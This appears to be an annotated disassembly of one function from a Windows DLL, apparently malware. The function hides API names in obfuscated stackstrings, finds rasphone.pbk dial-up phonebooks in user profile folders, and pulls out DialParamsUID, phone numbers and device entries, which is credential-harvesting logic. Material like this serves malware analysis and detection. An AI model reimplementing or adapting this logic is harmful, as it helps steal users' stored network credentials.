Function at 0x10004221
Capabilities:
Check os version
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x918
and byte [ebp - 0x36], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x54]
push edi
push eax
mov edi, ecx
push str.kernel32.dll
mov byte [ebp - 0x54], 0x47
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x74
mov byte [ebp - 0x51], 0x50
mov byte [ebp - 0x50], 0x72
mov byte [ebp - 0x4f], 0x69
mov byte [ebp - 0x4e], 0x76
mov byte [ebp - 0x4d], 0x61
mov byte [ebp - 0x4c], 0x74
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], 0x50
mov byte [ebp - 0x49], 0x72
mov byte [ebp - 0x48], 0x6f
mov byte [ebp - 0x47], 0x66
mov byte [ebp - 0x46], 0x69
mov byte [ebp - 0x45], 0x6c
mov byte [ebp - 0x44], 0x65
mov byte [ebp - 0x43], 0x53
mov byte [ebp - 0x42], 0x65
mov byte [ebp - 0x41], 0x63
mov byte [ebp - 0x40], 0x74
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x6f
mov byte [ebp - 0x3d], 0x6e
mov byte [ebp - 0x3c], 0x4e
mov byte [ebp - 0x3b], 0x61
mov byte [ebp - 0x3a], 0x6d
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x38], 0x73
mov byte [ebp - 0x37], 0x41
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
and byte [ebp - 0x20], 0
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x6c
push eax
push str.kernel32.dll
mov byte [ebp - 0x27], 0x73
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x41
call esi
push eax
call ebx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x1c], 2
call fcn.100039d3
mov dword [ebp - 8], eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x174]
mov ebx, 0x105
push eax
mov dword [ebp - 0x58], ebx
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
lea eax, [ebp - 0x174]
push 0x1001d2fc
push eax
call dword [0x1001e3ac]
push dword [edi + 0x14]
lea eax, [ebp - 0x174]
push eax
call dword [0x1001e3ac]
mov esi, str.Application_Data
lea eax, [ebp - 0x174]
push esi
push eax
call dword [0x1001e3ac]
push dword [0x1001d204]
lea eax, [ebp - 0x174]
push eax
call dword [0x1001e3ac]
lea eax, [ebp - 0x174]
push eax
call fcn.1000395b
test al, al
pop ecx
jne 0x100043a1
push str._USERPROFILE_Application_Data
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
call dword [0x1001e3ac]
lea eax, [ebp - 0x174]
push ebx
push eax
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
call dword [0x1001e3b0]
push 0
lea eax, [ebp - 0x518]
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x518]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea eax, [ebp - 0x518]
push 0x1001d2c0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], ebx
push eax
lea eax, [ebp - 0x310]
push eax
push dword [ebp - 8]
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
lea eax, [ebp - 0x310]
push esi
push eax
call dword [0x1001e3ac]
push dword [0x1001d204]
lea eax, [ebp - 0x310]
push eax
call dword [0x1001e3ac]
cmp dword [ebp - 8], 0
je 0x1000441c
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x174]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x518]
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x310]
push eax
call fcn.1000395b
test al, al
pop ecx
je 0x10004467
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x10004467
push 3
lea eax, [ebp - 0x310]
pop esi
mov dword [ebp - 0x64], eax
jmp 0x1000446a
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x208]
mov dword [ebp - 0x208], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x1f8], 2
jne 0x1000449a
cmp dword [ebp - 0x204], 5
jb 0x1000449a
mov ecx, edi
call fcn.10004163
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test esi, esi
pop ecx
mov dword [ebp - 8], eax
jle 0x100046e7
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], eax
mov esi, 0x100
push 0x1000
push 0
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0x18]
add esp, 0xc
push dword [eax]
push 0x1000
push dword [ebp - 8]
call dword [ebp - 0x5c]
mov eax, dword [ebp - 8]
cmp byte [eax], 0
mov dword [ebp - 0xc], eax
je 0x100046da
push eax
mov ecx, edi
call fcn.1000492d
mov dword [ebp - 0x10], eax
push esi
lea eax, [ebp - 0x410]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x718]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x918]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x818]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x618]
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0x18]
add esp, 0x3c
push dword [eax]
lea eax, [ebp - 0x410]
push esi
push eax
push 0
push str.DialParamsUID
push dword [ebp - 0xc]
call ebx
test eax, eax
jle 0x100045f5
xor eax, eax
cmp dword [edi + 8], eax
mov dword [ebp - 0x14], eax
jle 0x100045f5
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, dword [edi + 0x1c]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x100045a8
inc dword [ebp - 0x14]
add dword [ebp - 4], 0x301
mov eax, dword [ebp - 0x14]
cmp eax, dword [edi + 8]
jl 0x1000457c
jmp 0x100045f5
mov eax, dword [ebp - 0x14]
mov ecx, dword [edi + 0x1c]
imul eax, eax, 0x301
mov dword [ebp - 4], eax
lea eax, [eax + ecx + 0x200]
push eax
lea eax, [ebp - 0x718]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 0x100]
push eax
lea eax, [ebp - 0x918]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 4]
mov byte [ecx + eax + 0x300], 1
mov eax, dword [ebp - 0x18]
and byte [ebp - 0x29], 0
mov byte [ebp - 0x34], 0x50
mov byte [ebp - 0x33], 0x68
push dword [eax]
lea eax, [ebp - 0x818]
mov byte [ebp - 0x32], 0x6f
mov byte [ebp - 0x31], 0x6e
push esi
push eax
lea eax, [ebp - 0x34]
push 0
push eax
mov byte [ebp - 0x30], 0x65
push dword [ebp - 0xc]
mov byte [ebp - 0x2f], 0x4e
mov byte [ebp - 0x2e], 0x75
mov byte [ebp - 0x2d], 0x6d
mov byte [ebp - 0x2c], 0x62
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
call ebx
mov eax, dword [ebp - 0x18]
push dword [eax]
lea eax, [ebp - 0x618]
push esi
push eax
push 0
push str.Device
push dword [ebp - 0xc]
call ebx
lea eax, [ebp - 0x618]
mov ecx, edi
push eax
call fcn.1000492d
mov dword [ebp - 4], eax
lea eax, [ebp - 0x718]
push eax
mov ecx, edi
call fcn.1000492d
push dword [ebp - 4]
lea ecx, [ebp - 0x818]
mov dword [ebp - 0x14], eax
push ecx
lea ecx, [ebp - 0x918]
push ecx
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x410]
mov ecx, edi
push eax
call fcn.10004750
cmp dword [ebp - 0x10], 0
je 0x100046aa
push dword [ebp - 0x10]
call fcn.100168e6
pop ecx
cmp dword [ebp - 0x14], 0
je 0x100046b9
push dword [ebp - 0x14]
call fcn.100168e6
pop ecx
cmp dword [ebp - 4], 0
je 0x100046c8
push dword [ebp - 4]
call fcn.100168e6
pop ecx
push dword [ebp - 0xc]
call dword [ebp - 0x60]
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + eax + 1]
jmp 0x100044e9
add dword [ebp - 0x18], 4
dec dword [ebp - 0x1c]
jne 0x100044c4
xor ebx, ebx
cmp dword [edi + 8], ebx
mov dword [ebp - 0x10], ebx
jle 0x10004740
mov esi, 0x1001e3a8
mov eax, dword [edi + 0x1c]
add eax, ebx
cmp byte [eax + 0x300], 0
jne 0x1000472f
cmp byte [eax + 0x200], 0
lea ecx, [eax + 0x200]
jne 0x1000471c
cmp byte [eax + 0x100], 0
je 0x1000472f
push esi
lea edx, [eax + 0x100]
push esi
push edx
push ecx
push esi
push eax
mov ecx, edi
call fcn.10004750
inc dword [ebp - 0x10]
add ebx, 0x301
mov eax, dword [ebp - 0x10]
cmp eax, dword [edi + 8]
jl 0x100046f6
push dword [ebp - 8]
call fcn.100168e6
pop ecx
pop edi
pop esi
mov al, 1
pop ebx
leave
ret